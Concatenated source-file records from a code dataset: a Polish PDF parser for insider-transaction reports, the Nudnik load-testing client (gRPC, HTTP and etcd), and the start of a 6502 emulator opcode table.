'config', f'id = 3') # wszystkie raporty z kategorią 16 - transakcje na akcjach\r\n id_to_start = id_to_start[0][0]\r\n\r\n pdf_files_ids = cls.fetch_all_results_filtered(table_transactions_pdf_files, 'report_id', f'report_id > \"{id_to_start}\"')\r\n pdf_files_ids_rejected = cls.fetch_all_results_filtered(table_transactions_pdf_rejected, 'report_id', f'report_id > \"{id_to_start}\"')\r\n pdf_files_ids_scanned = cls.fetch_all_results_filtered(table_transactions_pdf_scanned, 'report_id', f'report_id > \"{id_to_start}\"')\r\n cls.close_connection_2()\r\n\r\n pdf_files_all_ids = pdf_files_ids + pdf_files_ids_scanned + pdf_files_ids_rejected\r\n pdf_files_all_ids = [x[0] for x in pdf_files_all_ids]\r\n return list(set(pdf_files_all_ids))\r\n\r\n\r\nclass report_data:\r\n\r\n all_ids_insiders = get_ids_insider() #id raportów w tabelach insiderów z id większym od x...\r\n\r\n def last_id_tabs(self):\r\n \"\"\" id pobieramy większe od ostatniego sprawdzonego - a potem najwyżej jeszcze dodatkowo sprawdzamy w tabeli z insiderami \"\"\"\r\n cls = table_management(hostname, dbname, uname, pwd)\r\n id_to_start = cls.fetch_all_results_filtered(table_config_table, 'config', f'id = 3') # wszystkie raporty z kategorią 16 - transakcje na akcjach\r\n id_to_start = id_to_start[0][0]\r\n print(f\"Id od którego zaczynamy szukać komunikatów z transakcjami insiderów: {id_to_start}\")\r\n\r\n table_1 = table_fma_cms_alert_categories\r\n table_2 = table_data\r\n table_3 = table_data_file\r\n where_condition = f'''{table_1}.alert_id = {table_2}.id AND {table_2}.id = {table_3}.idData AND \r\n {table_1}.category_id = {cat_id} AND {table_2}.id > {id_to_start} LIMIT {pdf_limit_batchsize}'''\r\n cols_1 = []\r\n cols_2 = ['id', 'company_id', 'time']\r\n cols_3 = ['source']\r\n df = cls.fetch_data_three_tables(table_1, table_2, table_3, cols_1, cols_2, cols_3, where_condition)\r\n\r\n cls.close_connection_2()\r\n df = df[~df['id'].isin(self.all_ids_insiders)]\r\n return df\r\n\r\n def get_pdfs(self):\r\n \"\"\"\r\n Funkcja do pobierania danych z pdfów. Jeśli wystąpi błąd pobierania to:\r\n - jeśli nie zostaną wykryte tabele to zakładamy że prawdopodobnie jest to pdf ze skanem tabeli\r\n (do sprawdzenia z rozwiązaniem AI do sczytywania tabel)\r\n - w przeciwnym razie po prostu zapisujemy to jako błędny pdf\r\n \"\"\"\r\n df = self.last_id_tabs()\r\n print(f\"Do sprawdzenia jest {len(df)} raportów\")\r\n\r\n if df.empty is False:\r\n for row in df.to_dict('records'):\r\n report_id, link, comp_id, pub_date = row['id'], row['source'], row['company_id'], row['time']\r\n link = 'http://biznes.pap.pl/pl/news/espi/attachment/35768386,200402_JG_-_oswiad._nabycie_akcji.pdf,20200402/'\r\n #link = 'http://biznes.pap.pl/pl/news/espi/attachment/30630921,180613_OPF_-_MAR.pdf,20180614/'\r\n try:\r\n tables = tabula.read_pdf(link, multiple_tables=True, pages='all', options=\"--pages 'all'\", lattice=True)\r\n\r\n if len(tables) == 0:\r\n print(f\"Skan: {link}\")\r\n #self.save_pdfs_with_error(table_transactions_pdf_scanned, link, report_id, comp_id, date)\r\n else:\r\n cls = try_get_pdf_data(tables, report_id, link, comp_id, pub_date, self.all_ids_insiders)\r\n cls.process_tables()\r\n\r\n except (ValueError, FileNotFoundError):\r\n print(f\"Odrzucony: {link}\")\r\n #self.save_pdfs_with_error(table_transactions_pdf_rejected, link, report_id, comp_id, date)\r\n ''' błąd przy pobieraniu - rejected '''\r\n except Error_Columns_Mismatch as e:\r\n info = f\"Długości list do złącznia w df nie są sobie równe (nazwa, instrument_finnsowy, cena ...), link: {link}, report_id: {report_id}, error: {e}\"\r\n print(info)\r\n #alerts_table(info)\r\n #self.save_pdfs_with_error(table_transactions_pdf_rejected, link, report_id, comp_id, date)\r\n except subprocess.CalledProcessError as e:\r\n if '.jpg' in link: #prawdopodobnie dlatego\r\n print(f\"Skan: {link}\")\r\n #self.save_pdfs_with_error(table_transactions_pdf_scanned, link, report_id, comp_id, date)\r\n else:\r\n info = f\"Zapisano niezidentyfikowany plik pdf do tabeli odrzuconych pdf-ów. Błąd: subprocess.CalledProcessError - pojawiający się przy plikach .jpg, Error: {e}, link: {link}\"\r\n alerts_table(info)\r\n print(f\"Odrzucony: {link}\")\r\n #self.save_pdfs_with_error(table_transactions_pdf_rejected, link, report_id, comp_id, date)\r\n break\r\n\r\n\r\n def save_pdfs_with_error(self, table_name, link, report_id, comp_id, date):\r\n dict_data = {\r\n 'pdf_link': link,\r\n 'report_id': report_id,\r\n 'comp_id': comp_id\r\n }\r\n cls = table_management(hostname, dbname, uname, pwd)\r\n\r\n col_names = list(dict_data.keys())\r\n col_names_string = \"(\" + \",\".join([str(i) for i in col_names]) + \")\"\r\n values_string = \"(\" + \", \".join([\"%s\"] * len(col_names)) + \")\"\r\n data = list(dict_data.values())\r\n\r\n if report_id not in self.all_ids_insiders: #jeśli nie ma jeszzcze tego id reaport w tabelach insiderów\r\n cls.add_data_row(table_name, data, col_names_string, values_string)\r\n\r\n cls.update_value(table_config_table, 'config', report_id, 'id', '3')\r\n cls.update_value(table_config_table, 'updated_at', f'{date}', 'id', '3')\r\n cls.close_connection_2()\r\n\r\n\r\n\r\n\r\n''' wyciąganie konkretnych danych z pdfów '''\r\n\r\ndef clean_table(table):\r\n \"\"\" set header as first row \"\"\"\r\n table.loc[-1] = table.columns # adding a row\r\n table.index = table.index + 1 # shifting index\r\n table = table.sort_index() # sorting by index\r\n\r\n ''' change columns names - to digits '''\r\n lst_names = list(range(0, len(table.columns)))\r\n table.columns = lst_names\r\n\r\n ''' set nan or empty value as missing '''\r\n table = table.applymap(lambda s: s.lower() if type(s) == str else s) # małe litery jeśli są słowa\r\n table = table.fillna('missing')\r\n table = table.replace('', 'missing')\r\n return table\r\n\r\n\r\ndef get_cleaned(tables):\r\n print(\"to jest ilość wykrytych tabel: %s \" % len(tables))\r\n cleaned_tables = []\r\n\r\n for table in tables:\r\n table_cleaned = clean_table(table)\r\n cleaned_tables.append(table_cleaned)\r\n return cleaned_tables\r\n\r\ndef get_transaction_value(row):\r\n \"\"\" obliczanie wartości transakcji \"\"\"\r\n price = round(float(row['price']), 4)\r\n volume = round(float(row['volume']), 2)\r\n return round(price*volume, 2)\r\n\r\ndef find_header_row(df):\r\n \"\"\" funkcja do sprawdzania czy w df jest wiersz z header i jeśli tak to go odrzucamy \"\"\"\r\n index = 0\r\n for row in df.to_dict('records'):\r\n row_string = ' '.join([str(x) for x in row.values()])\r\n if 'powiadomienie o transakcji/transakcjach' in row_string:\r\n return index\r\n index += 1\r\n return False\r\n\r\n\r\nclass try_get_pdf_data:\r\n\r\n def __init__(self, tables, report_id, link, comp_id, pub_date, pdf_files_ids):\r\n self.tables = tables\r\n self.report_id = report_id\r\n self.link = link\r\n self.comp_id = comp_id\r\n self.pub_date = pub_date\r\n self.pdf_files_ids = pdf_files_ids\r\n\r\n def process_tables(self):\r\n cleaned_tables = get_cleaned(self.tables) # lista z oczyszczonymi tabelami z pdfów\r\n df_pdf = self.get_multi_data(cleaned_tables)\r\n\r\n cls3 = subcategories(df_pdf)\r\n df = cls3.determine_subcat()\r\n print(f\"Wykryto poprawie transakcję insidera, link: {self.link}\")\r\n df['pdf_link'], df['pubDate'], df['comp_id'], df['report_id'] = self.link, self.pub_date, self.comp_id, self.report_id\r\n self.update_pdf_table(df)\r\n\r\n def get_multi_data(self, cleaned_tables):\r\n instr_fin = []\r\n rodz_trans = []\r\n data_trans = []\r\n msc_trans = []\r\n price_vol = []\r\n nazw = []\r\n status = []\r\n\r\n #cleaned_tables = cleaned_tables[:1]\r\n\r\n for table in cleaned_tables:\r\n index_value = find_header_row(df=table)\r\n if index_value is not False:\r\n table = table.drop([table.index[index_value]])\r\n table_cleaned = table.replace(to_replace=r'\\s+', value=' ', regex=True).replace(to_replace=r'\\r+', value=' ', regex=True).reset_index(drop=True)\r\n print(table_cleaned)\r\n\r\n for column_name, term_lst in multi_term_lst_dict.items():\r\n regex_term = '|'.join(term_lst)\r\n cls = get_value_lst()\r\n value_lst = cls.get_values(regex_term, table_cleaned)\r\n\r\n if term_lst == multi_term_lst[2]: #musi być tutaj bo wtedy nie jest powtarzana pętla 'for lst in search_lst' jeśli jest wiecej niż jeden - a podajemy i tak tabelę (price_volume) - więc wyniki się dublikują\r\n cls = price_volume(regex_term, table) #podajemy czystą i nieprzetworzoną tabelę\r\n price_and_vol = cls.search_raw_table()\r\n if len(price_and_vol) != 0:\r\n for elem in price_and_vol:\r\n price_vol.append(elem)\r\n\r\n if column_name in ['podmiot', 'stanowisko']: #jeśli są to dane pojedyńcze to zawsze bierzemy pierwszą wartość z listy\r\n value_lst = value_lst[:1] if len(value_lst) > 0 else value_lst\r\n\r\n for value in value_lst:\r\n if term_lst == multi_term_lst[3]:\r\n instr_fin.append(value)\r\n elif term_lst == multi_term_lst[4]:\r\n rodz_trans.append(value)\r\n elif term_lst == multi_term_lst[5]:\r\n data_trans.append(value)\r\n elif term_lst == multi_term_lst[6]:\r\n msc_trans.append(value)\r\n elif term_lst == multi_term_lst[0]:\r\n nazw = value\r\n elif term_lst == multi_term_lst[1]:\r\n status = value\r\n\r\n if len(price_vol) < len(rodz_trans): #jeśli brakuje danych ocenie\r\n price_vol = tuple([(0, 0)]*len(rodz_trans))\r\n\r\n print(instr_fin)\r\n print(price_vol)\r\n print(data_trans)\r\n print(msc_trans)\r\n print(rodz_trans)\r\n print(nazw)\r\n print(status)\r\n\r\n if len(instr_fin) == len(price_vol) == len(rodz_trans) == len(msc_trans) == len(data_trans):\r\n df = pd.DataFrame(\r\n {multi_term_lst_val[0]: nazw, multi_term_lst_val[1]: status, multi_term_lst_val[2]: price_vol,\r\n multi_term_lst_val[3]: instr_fin, multi_term_lst_val[4]: rodz_trans,\r\n multi_term_lst_val[5]: data_trans, multi_term_lst_val[6]: msc_trans})\r\n df[['price', 'volume']] = pd.DataFrame(df[multi_term_lst_val[2]].tolist(), index=df.index)\r\n df['value'] = df.apply(lambda row: get_transaction_value(row), axis=1)\r\n df = df.drop([multi_term_lst_val[2]], axis=1)\r\n return df\r\n else:\r\n raise Error_Columns_Mismatch\r\n\r\n def update_pdf_table(self, df):\r\n \"\"\"\r\n zapisywanie do bazy danych - jednak jeśli jest już taki hash w bazie to wtedy pomijamy pdf i dodajemy info z tabeli z alertami\r\n jeśli pdf zostanie zapisany do bazy poprawnie to zmieniamy ostatni id raportu w tabeli config >> zmiany następują po każdej iteracji\r\n Updatujemy po try except bo, jeśli transakcja znajduje się już w tabeli to powstanie błędne koło (bo kolejna iteracja się zacznie od tego samego id\r\n :param df: transakcje z jednego pdfu do zapisania w bazie\r\n \"\"\"\r\n cls = table_management(hostname, dbname, uname, pwd)\r\n print(df)\r\n\r\n if self.report_id not in self.pdf_files_ids:\r\n cls.insert_df(df, table_transactions_pdf_files, 'append', False) ##how: 'append' or 'replace' or ... working ex: (df, 'gpw_companies', 'replace', False)\r\n\r\n cls.update_value(table_config_table, 'config', self.report_id, 'id', '3')\r\n cls.update_value(table_config_table, 'updated_at', f'{date}', 'id', '3')\r\n cls.close_connection_2()\r\n\r\n\r\n\"\"\"\r\nraise CalledProcessError(retcode, process.args,\r\nsubprocess.CalledProcessError: Command '['java', '-Dfile.encoding=UTF8', '-jar', 'C:\\\\Users\\\\m_met\\\\anaconda3\\\\envs\\\\macro_data\\\\lib\\\\site-packages\\\\tabula\\\\tabula-1.0.5-jar-with-dependencies.jar', '--pages', 'all', '--pages', 'all', '--lattice', '--guess', '--format', 'JSON', 'C:\\\\Users\\\\m_met\\\\AppData\\\\Local\\\\Temp\\\\9cda0d47-535d-4133-99c1-a2d9118f569f.pdf']' returned non-zero exit status 1.\r\n\"\"\"\r\n","repo_name":"BartlomiejMetrak/pdf_parser","sub_path":"python/pdf_files.py","file_name":"pdf_files.py","file_ext":"py","file_size_in_byte":16743,"program_lang":"python","lang":"pl","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"22025196266","text":"#\n# This file is part of Nudnik. \n#\n# Nudnik is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Nudnik is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Nudnik. If not, see .\n#\nimport time\nfrom datetime import datetime\nimport sys\nimport random\nif (sys.version_info >= (3, 0)):\n import queue as queue\nelse:\n import Queue as queue\nimport threading\nimport requests\n\nimport grpc\nimport etcd3\n\nimport nudnik\nimport nudnik.utils as utils\n\nclass ParserClient(object):\n\n def __init__(self, host, port, timeout):\n self.host = host\n self.port = port\n self.timeout = timeout\n# TODO gRPC does not honor values bigger than 4194304\n# max_message_size = (100 * 1024 * 1024)\n# options=[('grpc.max_message_length', -1), ('grpc.max_recieve_message_length', -1), ('grpc.max_send_message_length', -1)]\n options=[]\n self.channel = grpc.insecure_channel('{}:{}'.format(self.host, self.port), options=options)\n\n # bind the client to the server channel\n self.stub = nudnik.entity_pb2_grpc.ParserStub(self.channel)\n\n def get_response_for_request(self, request):\n return self.stub.parse(request, timeout=self.timeout)\n\nclass Stream(threading.Thread):\n def __init__(self, cfg, stream_id, stats):\n threading.Thread.__init__(self)\n self.gtfo = False\n self.event = threading.Event()\n self.workers = []\n self.cfg = cfg\n self.log = utils.get_logger(cfg.debug)\n self.stream_id = stream_id\n self.stats = stats\n self.queue = queue.Queue()\n self.name = '{}-{}'.format(cfg.name, stream_id)\n self.log.debug('Stream {} initiated'.format(self.name))\n\n def run(self):\n self.log.debug('Stream {} started, sending {} messages per second'.format(self.name, (self.cfg.rate / float(self.cfg.interval))))\n\n sequence_id = 0\n\n active_workers = threading.Semaphore(self.cfg.workers)\n for worker_id in range(0, self.cfg.workers):\n active_workers.acquire()\n thread = MessageSender(self.cfg, self.log, self.stream_id, worker_id, active_workers, self.queue, self.stats)\n thread.daemon = True\n self.workers.append(thread)\n thread.start()\n\n # Wait for all workers to initialize clients\n for worker_id in range(0, self.cfg.workers):\n active_workers.acquire()\n\n while not self.gtfo:\n time_start = utils.time_ns()\n\n for index in range(0, self.cfg.rate):\n\n message_id = (sequence_id * self.cfg.rate) + index\n if (self.cfg.count > 0) and (message_id >= self.cfg.count):\n self.exit()\n return\n\n if self.cfg.protocol in ['grpc', 'etcd']:\n request = nudnik.entity_pb2.Request(name=self.cfg.name,\n stream_id=self.stream_id,\n sequence_id=sequence_id,\n message_id=message_id,\n ctime=utils.time_ns(),\n load=self.cfg.load_list)\n else:\n headers = dict()\n for header in self.cfg.headers:\n headers.update({str(header[0]): str(header[1])})\n data = self.cfg.request_format.format(name=self.cfg.name,\n stream_id=self.stream_id,\n sequence_id=sequence_id,\n message_id=message_id,\n ctime=utils.time_ns(),\n load=self.cfg.load_list)\n\n req = requests.Request(self.cfg.method, 'http://place_holder', data=data, headers=headers)\n request = req.prepare()\n request.name = self.cfg.name\n request.stream_id=self.stream_id\n request.sequence_id=sequence_id\n request.message_id=message_id\n request.ctime=utils.time_ns()\n request.load=self.cfg.load_list\n\n self.queue.put(request)\n\n if self.cfg.vvv:\n self.log.debug('Active workers/tasks: {}/{}'.format(threading.active_count(), self.queue.qsize()))\n\n sequence_id += 1\n\n if self.cfg.chaos > 0 and random.randint(0, self.cfg.cycle_per_hour) <= self.cfg.chaos:\n chaos_exception = utils.ChaosException(self.cfg.chaos_string)\n self.log.fatal(chaos_exception)\n self.exit()\n raise chaos_exception\n\n elapsed = utils.diff_seconds(time_start, utils.time_ns())\n if elapsed < self.cfg.interval:\n self.event.wait(timeout=(self.cfg.interval - elapsed))\n\n def exit(self):\n self.gtfo = 1\n self.event.set()\n\n while len(self.workers) > 0:\n try:\n for index, worker in enumerate(self.workers):\n if self.cfg.vvvvv:\n self.log.debug('Waiting for worker {} {} gtfo: {}'.format(index, worker, worker.gtfo))\n if not worker.is_alive():\n self.workers.pop(index)\n else:\n worker.exit()\n worker.join(0.25)\n except KeyboardInterrupt:\n for worker in self.workers:\n self.log.debug('Aborting worker {} ({})'.format(worker, worker.gtfo))\n worker.exit()\n\n\nclass MessageSender(threading.Thread):\n\n def __init__(self, cfg, log, stream_id, worker_id, active_workers, queue, stats):\n threading.Thread.__init__(self)\n self.gtfo = False\n self.event = threading.Event()\n self.lock = threading.Semaphore(1)\n self.active_workers = active_workers\n self.cfg = cfg\n self.log = log\n self.client = None\n self.host_address = None\n self.host_resolved_at = 0\n self.session = requests.Session()\n self.queue = queue\n self.stats = stats\n self.worker_id = worker_id\n self.name = '{}-{}-{}'.format(cfg.name, stream_id, worker_id)\n\n\n def watch_callback_key_release(self, event):\n if type(event) == etcd3.events.PutEvent:\n self.lock.release()\n\n def run(self):\n if self.cfg.protocol == 'grpc':\n self.set_grpc_client(True)\n elif self.cfg.protocol == 'etcd':\n request_prefix = self.cfg.etcd_format_key_request.format(name=self.cfg.name)\n response_prefix = self.cfg.etcd_format_key_response.format(name=self.cfg.name)\n utils.set_etcd_client(self, True)\n\n self.active_workers.release()\n\n if self.cfg.vv and self.client:\n self.log.debug('MessageSender {} initiated'.format(self.name))\n\n while not self.gtfo:\n timestamp = None\n\n if self.cfg.protocol == 'grpc':\n self.set_grpc_client(False)\n elif self.cfg.protocol == 'etcd':\n utils.set_etcd_client(self, False)\n else:\n utils.resolv_host(self, False)\n\n request = None\n while request is None:\n if self.gtfo:\n return\n try:\n request = self.queue.get(block=True, timeout=0.2)\n except queue.Empty:\n pass\n\n request.worker_id = self.worker_id\n\n if self.cfg.vvvvv:\n self.log.debug('Handling message_id {}'.format(request.message_id))\n\n retry_count = 0\n try_count = 1 + self.cfg.retry_count\n send_was_successful = False\n while not self.gtfo and (not send_was_successful and ((self.cfg.retry_count < 0) or (try_count > 0))):\n request.stime=utils.time_ns()\n\n meta = self.cfg.meta.format(req=request, node=nudnik.metrics.MetricNode()) if self.cfg.meta is not None else None\n request.meta = utils.get_meta(meta, self.cfg.meta_size)\n\n if getattr(request, 'load', None) is not None:\n for load in request.load:\n utils.generate_load(self.log, load, meta)\n\n response = None\n if self.cfg.protocol == 'grpc':\n try:\n response = self.client.get_response_for_request(request)\n except grpc._channel._Rendezvous as e:\n resp = {'status_code': 500}\n response = nudnik.entity_pb2.Response(**resp)\n self.log.warn('Reinitializing gRPC client due to {}'.format(e))\n self.set_grpc_client(True)\n\n elif self.cfg.protocol == 'etcd':\n try:\n if self.cfg.vvv:\n self.log.debug('Etcd request: {}'.format(request))\n key = '{}/{}/{}'.format(self.cfg.etcd_format_key_request.format(name=request.name), request.sequence_id, request.message_id)\n value = request.SerializeToString()\n if self.cfg.vvvvv:\n self.log.debug('Writing {} => {}'.format(key, value))\n self.client.put(key, value)\n response_key = key.replace(request_prefix, response_prefix, 1)\n watch_id = self.client.add_watch_callback(response_key, self.watch_callback_key_release)\n self.lock.acquire()\n if self.cfg.vvvvv:\n self.log.debug('Waiting for response at \"{}\"'.format(response_key))\n with self.lock:\n self.client.cancel_watch(watch_id)\n resp = self.client.get(response_key)\n response = nudnik.entity_pb2.Response()\n response.ParseFromString(resp[0])\n self.client.delete(response_key)\n except Exception as e:\n resp = {'status_code': 500}\n response = nudnik.entity_pb2.Response(**resp)\n self.log.warn('Reinitializing Etcd client due to \"{}\"'.format(e))\n utils.set_etcd_client(self, True)\n\n else:\n try:\n request.url = '{}://{}:{}{}'.format(self.cfg.protocol, self.host_address, self.cfg.port, self.cfg.path)\n response = self.session.send(request)\n if response.status_code >= 200 and response.status_code < 300:\n response.status_code = 0\n except Exception as e:\n response = None\n self.log.warn('Resending request due to {}'.format(e))\n utils.resolv_host(self, True)\n\n if self.cfg.vvvvv:\n self.log.debug(response)\n\n timestamp = utils.time_ns()\n\n send_was_successful = ( (response is not None) and (response.status_code == 0) and (self.stats.get_fail_ratio() >= self.cfg.fail_ratio))\n\n if send_was_successful:\n if self.cfg.vvvvv:\n self.log.debug('Request was successful')\n self.stats.add_success()\n stat = nudnik.stats.Stat(request, response, timestamp)\n self.stats.append(stat)\n else:\n self.log.warn('Request was not successful')\n self.stats.add_failure()\n try_count -= 1\n retry_count += 1\n request.rtime=utils.time_ns()\n request.rcount = retry_count\n\n if self.cfg.vv and timestamp is not None:\n total_rtt = utils.diff_seconds(request.ctime, timestamp) * self.cfg.rate\n if total_rtt > self.cfg.interval:\n self.log.warn('Predicted total rtt {} for rate {} exceeds interval {}'.format(total_rtt, self.cfg.rate, self.cfg.interval))\n\n self.log.debug('{} has left the building'.format(self))\n\n def set_grpc_client(self, force):\n resolved_elapsed = utils.diff_seconds(self.host_resolved_at, utils.time_ns())\n if resolved_elapsed < self.cfg.dns_ttl and force is False:\n return\n\n utils.resolv_host(self, True)\n self.client = None\n index = 0\n while self.client is None:\n try:\n self.client = ParserClient(self.host_address, self.cfg.port, self.cfg.timeout)\n except Exception as e:\n self.log.warn('Reinitializing gRPC client due to {}'.format(e))\n self.event.wait(timeout=((index * 100)/1000))\n index += 1\n\n if self.cfg.vvv:\n self.log.debug('gRPC Client to {} initialized, {}'.format(self.host_address, self.client))\n\n def exit(self):\n self.gtfo = 1\n self.event.set()\n if self.lock:\n self.lock.release()\n self.lock = None\n","repo_name":"salosh/nudnik","sub_path":"nudnik/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":14034,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"37"} +{"seq_id":"33992847716","text":"import lda\nimport ldx\nimport ldy\nimport adc\nimport _and\nimport asl\nimport lsr\nimport rol\nimport ror\nimport eor\nimport ora\nimport sbc\nimport sta\nimport stx\nimport sty\nimport bcc\nimport bcs\nimport beq\nimport bmi\nimport bne\nimport bpl\nimport bvc\nimport bvs\nimport clc\nimport cli\nimport cld\nimport clv\nimport _cmp\nimport cpx\nimport cpy\nimport dey\nimport dex\nimport dec\nimport inc\nimport jmp\nimport sec\nimport sed\nimport sei\nimport pha\nimport pla\nimport tax\nimport txa\nimport tay\nimport tya\nimport tsx\nimport txs\nimport nop\nimport plp\nimport php\nimport jsr\nimport rts\nimport rti\nimport brk\nimport iny\nimport inx\nimport bit\n\nOPCODES_TABLE = {\n lda.LDA_IMMEDIATE_OPCODE: lda.LDAImmediate(),\n lda.LDA_ZEROPAGE_OPCODE: lda.LDAZeroPage(),\n lda.LDA_ZEROPAGEX_OPCODE: lda.LDAZeroPageX(),\n lda.LDA_ABSOLUTE_OPCODE: lda.LDAAbsolute(),\n lda.LDA_ABSOLUTEX_OPCODE: lda.LDAAbsoluteX(),\n lda.LDA_ABSOLUTEY_OPCODE: lda.LDAAbsoluteY(),\n lda.LDA_INDIRECTX_OPCODE: lda.LDAIndirectX(),\n lda.LDA_INDIRECTY_OPCODE: lda.LDAIndirectY(),\n ldx.LDX_IMMEDIATE_OPCODE: ldx.LDXImmediate(),\n ldx.LDX_ZEROPAGE_OPCODE: ldx.LDXZeroPage(),\n ldx.LDX_ZEROPAGEY_OPCODE: ldx.LDXZeroPageY(),\n ldx.LDX_ABSOLUTE_OPCODE: ldx.LDXAbsolute(),\n ldx.LDX_ABSOLUTEY_OPCODE: ldx.LDXAbsoluteY(),\n ldy.LDY_IMMEDIATE_OPCODE: ldy.LDYImmediate(),\n ldy.LDY_ZEROPAGE_OPCODE: ldy.LDYZeroPage(),\n ldy.LDY_ZEROPAGEX_OPCODE: ldy.LDYZeroPageX(),\n ldy.LDY_ABSOLUTE_OPCODE: ldy.LDYAbsolute(),\n ldy.LDY_ABSOLUTEX_OPCODE: ldy.LDYAbsoluteX(),\n adc.ADC_IMMEDIATE_OPCODE: adc.ADCImmediate(),\n adc.ADC_ZEROPAGE_OPCODE: adc.ADCZeroPage(),\n adc.ADC_ZEROPAGEX_OPCODE: adc.ADCZeroPageX(),\n adc.ADC_ABSOLUTE_OPCODE: adc.ADCAbsolute(),\n adc.ADC_ABSOLUTEX_OPCODE: adc.ADCAbsoluteX(),\n adc.ADC_ABSOLUTEY_OPCODE: adc.ADCAbsoluteY(),\n adc.ADC_INDIRECTX_OPCODE: adc.ADCIndirectX(),\n adc.ADC_INDIRECTY_OPCODE: adc.ADCIndirectY(),\n _and.AND_IMMEDIATE_OPCODE: _and.ANDImmediate(),\n _and.AND_ZEROPAGE_OPCODE: _and.ANDZeroPage(),\n _and.AND_ZEROPAGEX_OPCODE: _and.ANDZeroPageX(),\n _and.AND_ABSOLUTE_OPCODE: _and.ANDAbsolute(),\n _and.AND_ABSOLUTEX_OPCODE: _and.ANDAbsoluteX(),\n _and.AND_ABSOLUTEY_OPCODE: _and.ANDAbsoluteY(),\n _and.AND_INDIRECTX_OPCODE: _and.ANDIndirectX(),\n _and.AND_INDIRECTY_OPCODE: _and.ANDIndirectY(),\n asl.ASL_ACCUMULATOR_OPCODE: asl.ASLAccumulator(),\n asl.ASL_ZEROPAGE_OPCODE: asl.ASLZeroPage(),\n asl.ASL_ZEROPAGEX_OPCODE: asl.ASLZeroPageX(),\n asl.ASL_ABSOLUTE_OPCODE: asl.ASLAbsolute(),\n asl.ASL_ABSOLUTEX_OPCODE: asl.ASLAbsoluteX(),\n lsr.LSR_ACCUMULATOR_OPCODE: lsr.LSRAccumulator(),\n lsr.LSR_ZEROPAGE_OPCODE: lsr.LSRZeroPage(),\n lsr.LSR_ZEROPAGEX_OPCODE: lsr.LSRZeroPageX(),\n lsr.LSR_ABSOLUTE_OPCODE: lsr.LSRAbsolute(),\n lsr.LSR_ABSOLUTEX_OPCODE: lsr.LSRAbsoluteX(),\n rol.ROL_ACCUMULATOR_OPCODE: rol.ROLAccumulator(),\n rol.ROL_ZEROPAGE_OPCODE: rol.ROLZeroPage(),\n rol.ROL_ZEROPAGEX_OPCODE: rol.ROLZeroPageX(),\n rol.ROL_ABSOLUTE_OPCODE: rol.ROLAbsolute(),\n rol.ROL_ABSOLUTEX_OPCODE: rol.ROLAbsoluteX(),\n ror.ROR_ACCUMULATOR_OPCODE: ror.RORAccumulator(),\n ror.ROR_ZEROPAGE_OPCODE: ror.RORZeroPage(),\n ror.ROR_ZEROPAGEX_OPCODE: ror.RORZeroPageX(),\n ror.ROR_ABSOLUTE_OPCODE: ror.RORAbsolute(),\n ror.ROR_ABSOLUTEX_OPCODE: ror.RORAbsoluteX(),\n eor.EOR_IMMEDIATE_OPCODE: eor.EORImmediate(),\n eor.EOR_ZEROPAGE_OPCODE: eor.EORZeroPage(),\n eor.EOR_ZEROPAGEX_OPCODE: eor.EORZeroPageX(),\n eor.EOR_ABSOLUTE_OPCODE: eor.EORAbsolute(),\n eor.EOR_ABSOLUTEX_OPCODE: eor.EORAbsoluteX(),\n eor.EOR_ABSOLUTEY_OPCODE: eor.EORAbsoluteY(),\n eor.EOR_INDIRECTX_OPCODE: eor.EORIndirectX(),\n eor.EOR_INDIRECTY_OPCODE: eor.EORIndirectY(),\n ora.ORA_IMMEDIATE_OPCODE: ora.ORAImmediate(),\n ora.ORA_ZEROPAGE_OPCODE: ora.ORAZeroPage(),\n ora.ORA_ZEROPAGEX_OPCODE: ora.ORAZeroPageX(),\n ora.ORA_ABSOLUTE_OPCODE: ora.ORAAbsolute(),\n ora.ORA_ABSOLUTEX_OPCODE: ora.ORAAbsoluteX(),\n ora.ORA_ABSOLUTEY_OPCODE: ora.ORAAbsoluteY(),\n ora.ORA_INDIRECTX_OPCODE: ora.ORAIndirectX(),\n ora.ORA_INDIRECTY_OPCODE: ora.ORAIndirectY(),\n sbc.SBC_IMMEDIATE_OPCODE: sbc.SBCImmediate(),\n sbc.SBC_ZEROPAGE_OPCODE: sbc.SBCZeroPage(),\n sbc.SBC_ZEROPAGEX_OPCODE: sbc.SBCZeroPageX(),\n sbc.SBC_ABSOLUTE_OPCODE: sbc.SBCAbsolute(),\n sbc.SBC_ABSOLUTEX_OPCODE: sbc.SBCAbsoluteX(),\n sbc.SBC_ABSOLUTEY_OPCODE: sbc.SBCAbsoluteY(),\n sbc.SBC_INDIRECTX_OPCODE: sbc.SBCIndirectX(),\n sbc.SBC_INDIRECTY_OPCODE: sbc.SBCIndirectY(),\n sta.STA_ZEROPAGE_OPCODE: sta.STAZeroPage(),\n sta.STA_ZEROPAGEX_OPCODE: sta.STAZeroPageX(),\n sta.STA_ABSOLUTE_OPCODE: sta.STAAbsolute(),\n sta.STA_ABSOLUTEX_OPCODE: sta.STAAbsoluteX(),\n sta.STA_ABSOLUTEY_OPCODE: sta.STAAbsoluteY(),\n sta.STA_INDIRECTX_OPCODE: sta.STAIndirectX(),\n sta.STA_INDIRECTY_OPCODE: sta.STAIndirectY(),\n stx.STX_ZEROPAGE_OPCODE: stx.STXZeroPage(),\n stx.STX_ZEROPAGEY_OPCODE: stx.STXZeroPageY(),\n stx.STX_ABSOLUTE_OPCODE: stx.STXAbsolute(),\n sty.STY_ZEROPAGE_OPCODE: sty.STYZeroPage(),\n sty.STY_ZEROPAGEX_OPCODE: sty.STYZeroPageX(),\n sty.STY_ABSOLUTE_OPCODE: sty.STYAbsolute(),\n bcc.BCC_RELATIVE_OPCODE: bcc.BCCRelative(),\n bcs.BCS_RELATIVE_OPCODE: bcs.BCSRelative(),\n beq.BEQ_RELATIVE_OPCODE: beq.BEQRelative(),\n bmi.BMI_RELATIVE_OPCODE: bmi.BMIRelative(),\n bne.BNE_RELATIVE_OPCODE: bne.BNERelative(),\n bpl.BPL_RELATIVE_OPCODE: bpl.BPLRelative(),\n bvc.BVC_RELATIVE_OPCODE: bvc.BVCRelative(),\n 